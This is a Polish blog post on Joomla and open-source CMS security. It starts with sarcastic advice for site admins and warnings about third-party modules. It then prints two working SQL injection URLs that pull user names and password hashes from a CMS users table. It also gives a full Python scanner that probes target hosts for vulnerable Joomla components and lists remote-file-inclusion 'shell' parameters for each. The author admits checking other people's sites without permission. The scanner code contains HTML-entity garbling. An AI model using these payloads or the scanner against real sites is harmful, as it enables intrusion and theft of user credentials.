    • Zainstaluj swój nowy, śliczny oparty o wybrany CMS serwis. Świętuj dobrze wykonaną robotę i przestań się martwić o cokolwiek. A już po wszystkim, skoro nie robisz innych zmian, to co może pójść nie tak? (Podpowiedź: bardzo dużo).
    • Rób wszystkie aktualizacje i poprawki na serwerze “produkcyjnym”, na żyjącym serwisie. Kto by tam potrzebował osobnego miejsca na testowanie i rozwój aplikacji? Jeśli jakaś instalacja się nie powiedzie - po prostu odinstaluj niedziałający składnik w nadziei ze wszystko wróci do normy.
    • Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.
    • Nie trać czasu na aktualizację twojego CMS’a do najnowszej wersji. Przecież póki co wszystko gra! Tak czy siak - za dużo byłoby z tym roboty.
    • Kiedy haker zaatakuje Twój serwis, zacznij siać panikę na forach dyskusyjnych i załóż nowy wątek z nikomu nieznanym tytułem “Pomocy! Hakerzy włamali mi się na stronę Co robić!?”. Bądź pewien, że nie podałeś , której to przestarzałej wersji Joomla oraz innych składników używasz.
    • Kiedy Twój serwis padnie ofiarą hakerów, skasuj wszystkie podmienione przez nich pliki i udawaj że już wszystko jest jak dawniej. Nie przeglądaj logów, nie zmieniaj haseł, nie kasuj zawartości swego serwisu w celu przywrócenia go ze sprawdzonej kopii zapasowej, nie wykonuj żadnych innych paranoidalnie przesadnych akcji. Kiedy napastnik wróci do Ciebie następnego dnia krzycz głośno “Znów hakerzy zepsuli mi stronę!” i że to wszystko wina twórców twego CMS’a. Zignoruj fakt, że usunięcie podmienionych plików to nawet nie jest pierwszy krok w złożonym procesie przywrócenia zaatakowanego serwisu do stanu pełnej używalności.

    Zaznaczyłem celowo innym kolorem dwa podpunkty , które mówią o bezpieczeństwie naszego systemu:

    Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.

    Jeśli chcemy korzystać z wielu różnych funkcjonalności systemu, jesteśmy zmuszeni do doinstalowania do jądra dodatkowe moduły. Nie możemy być 100% pewni, że moduły które instalujemy pozbawione są błędów - zamierzonych lub niezamierzonych. Moduły pisane są przez osoby o różnym poziomie wiedzy. Często mimo najlepszych chęci w modułach znajdują się błędy, które zostają wykryte często dopiero w momencie, kiedy do któregoś serwisu dostaną się hakerzy.

    Oczywiście po wykryciu dziury przez któregoś z użytkowników portalu informacja ta bardzo szybko trafia na forum, gdzie od razu grupa programistów poprawia dany moduł, przygotowując odpowiednią poprawkę, którą wystarczy zainstalować w swoim systemie by móc spać spokojnie.Ale też hakerzy czytają fora i o tym też należy pamiętać.

    W przypadku systemów open source nie znamy intencji osób piszących moduły, które celowo mogą pozostawiać sobie furtki. Należy tutaj pamiętać, że jeśli na stronie zbieramy jakiekolwiek dane o użytkownikach – imię i nazwisko, adres czy nawet sam e-mail – odpowiadamy prawnie za ich bezpieczne przechowywanie. Jeśli do naszego serwisu włamie się haker i wykradnie naszą bazę mailingową i ta informacja dotrze do właściciela maila – może on dochodzić swoich praw zgodnie z ustawą o ochronie danych osobowych. Jest to przestroga dla tych wszystkich, którzy prowadzą sklepy internetowe w oparciu o systemy open source i przechowują w swojej bazie dane klientów.

    Problemem bezpieczeństwa systemów open source jest “otwartość” kodu źródłowego. W praktyce oznacza to, że każdy ma dostęp kodu aplikacji. W aplikacji napisanej do celów komercyjnych. kod jest strzeżoną tajemnicą właściciela. Kod programu dostępny jest tylko wąskiej grupie programistów – pracowników firmy, którzy często zobowiązani są do podpisania klauzuli o poufności informacji, łącznie z odpowiedzialnością finansową a nawet karną.

    Osobiście testowałem nie dawno portal oparty o jeden z bardziej znanych systemów CMS ( nie będę wymieniał jaki ) i doszedłem do wniosku ,że sam system CMS “pusty” bez dodatkowych modułów jest bardzo bezpieczny. No ale jak każdy dobry portal , system taki musi posiadać pewne funkcjonalności , które są realizowane przez dodanie odpowiednich modułów. Moduły zostały zainstalowane - ale trzeba było dokonać “spolszczenia” czyli stworzyć polskie wersje językowe. Podczas “tłumaczenia” znalazłem błędy w sztuce “zabezpieczeń” jakie popełniali autorzy tych modułów. Dla przykładu podam w jaki sposób zaatakować system techniką wstrzykiwania, doklejania dodatkowego zapytania SQL:

    • modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,

    pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/

    CMS_users/**/LIMIT/**/1,1/*”

    • modules/articles/index.php?cat_id=-1%20union%20select%201,

    concat(char(117,115,101,114,110,97,109,101,5 8)

    uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20CMS_users%20

    where%20uid%20like%201/*

    Wyników tak spreparowanego zapytania SQL nie będę komentował , powiem tylko tyle ,że przypadku wyżej wymienionych, tak spreparowanych “pleceń”, pojawiają się dane użytkowników. Oczywiście jeżeli dodatkowo nasz serwer na którym zainstalowano portal z takim modułem posiada taką “funkcjonalność” jak “pokaż wszystkie błędy” to już jest cudowne miejsce do nauki SQL’a i nie tylko.

    W nowo tworzonym portalu znalazłem aż 32 ( !!! ) “luki” - to też pozostawię bez komentarza. Oczywiście wszystkie “luki” zgłosiłem na oficjalnej Polskiej strony tegoż CMS’a . Oczywiście wychwycone błędy dotyczyły tylko modułów dodatkowo zainstalowanych w systemie , sam system , no cóż może za mało “czytałem kod” ???

    Pokusiłem się aby sprawdzić czy inne portale oparte o “mój” CMS ( z zainstalowanymi modułami - tak jak w moim przypadku ) posiadają te same “dziury” ?

    Jeżeli już znalazłem takie portale to w “ciemno” nie sprawdzałem czy “felerne” moduły są tam zainstalowane użyłem do tego Pythona ( potęga Pythona nie zna granic ) . Dla “zmylenia” poniżej podam tylko w jaki sposób dowiedzieć się czy system CMS Joomla posiada pewne ( interesujące mnie moduły ):

    
    import sys, re, httplib, time, socket
    def main(path):
    	try:
    		if proxy != 0:
    			h.putrequest("GET", "http://"+host+"/"+path)
    		else:
    			h.putrequest("HEAD", path)
    		h.putheader("Host", host)
    		h.endheaders()
    		status, reason, headers = h.getreply()
    		return status, reason
    	except(), msg:
    		print "Error Occurred:",msg
    		pass
    
    def timer():
    	now = time.localtime(time.time())
    	return time.asctime(now)
    
    if len(sys.argv) < 2 or len(sys.argv) > 5:
    	print "\nUsage: ./joomlascan.py  "
    	print "\t[options]"
    	print "\t   -p/-proxy  : Add proxy support"
    	print "\t   -404 : Won't show 404 responses"
    	print "Ex: ./test_joomla.py www.test.com -404 -proxy 127.0.0.1:8080\n"
    	sys.exit(1)
    
    for arg in sys.argv[1:]:
    	if arg.lower() == "-p" or arg.lower() == "-proxy":
    		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
    	if arg.lower() == "-404":
    		show = 404
    
    try:
    	if proxy:
    		print "\n[+] Testing Proxy…"
    		h2 = httplib.HTTPConnection(proxy)
    		h2.connect()
    		print "[+] Proxy:",proxy
    except(socket.timeout):
    	print "\n[-] Proxy Timed Out"
    	proxy = 0
    	pass
    except(NameError):
    	print "\n[-] Proxy Not Given"
    	proxy = 0
    	pass
    except:
    	print "\n[-] Proxy Failed"
    	proxy = 0
    	pass
    
    paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
    		"administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
    		"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
    		"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
    		"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
    "administrator/components/com_remository/admin.remository.php" : "admin.remository.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?lm_absolute_path=shell",
    		"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
    	"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
    				"com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_jjgallery/admin.jjgallery.php" : "administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_juser/xajax_functions.php" : "administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=shell",
    		"components/com_jreviews/scripts/xajax.inc.php" : "components/com_jreviews/scripts/xajax.inc.php?mosConfig_absolute_path=shell",
    		"com_directory/modules/mod_pxt_latest.php" : "com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=shell",
    		"administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/PPS/File.php" : "administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer.php" : "administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/PPS.php" : "administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php" : "administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Format.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=shell"}
    
    host = sys.argv[1]
    print "[+] Target:",host
    try:
    	if show == 404:
    		print "[+] 404 Block On\n"
    except(NameError):
    	print "[-] 404 Block Off\n"
    	show = 0
    	pass
    print "[+] Loaded:",len(paths),"paths"
    host = host.replace("http://","&quot ;)
    if host.count("/&quot ;) >= 2:
    	j_path = host.split("/",1)[1].replace("index.php","&quot ;)
    	host = host.split("/",1)[0]
    else:
    	if host[-1:] == "/":
    		host = host[:-1]
    	j_path = ""
    
    if j_path[-1:] != "/":
    	j_path = j_path+"/"
    
    print "[+] Started:",timer()
    print "[+] Scanning…"
    time.sleep(3)
    
    if proxy != 0:
    	h = httplib.HTTP(proxy)
    else:
    	h = httplib.HTTP(host)
    
    for path, shell in paths.items():
    	print "\n[+] Trying:",j_path+path
    	try:
    		response, reason = main(j_path+path)
    		if show != 404:
    			print "[+] Got:",response, reason
    			print "[+] Shell:",shell
    		else:
    			if response != 404:
    				print "[+] Got:",response, reason
    				print "[+] Shell:",shell
    
    	except(AttributeError, TypeError, socket.error):
    		pass
    	except(KeyboardInterrupt):
    		pass
    print "\n[-] Done:",timer(),"\n"
    

    Powyższy kod napisano nie dla potrzeb testowania “zawartości” portali opartych o system CMS Joomla.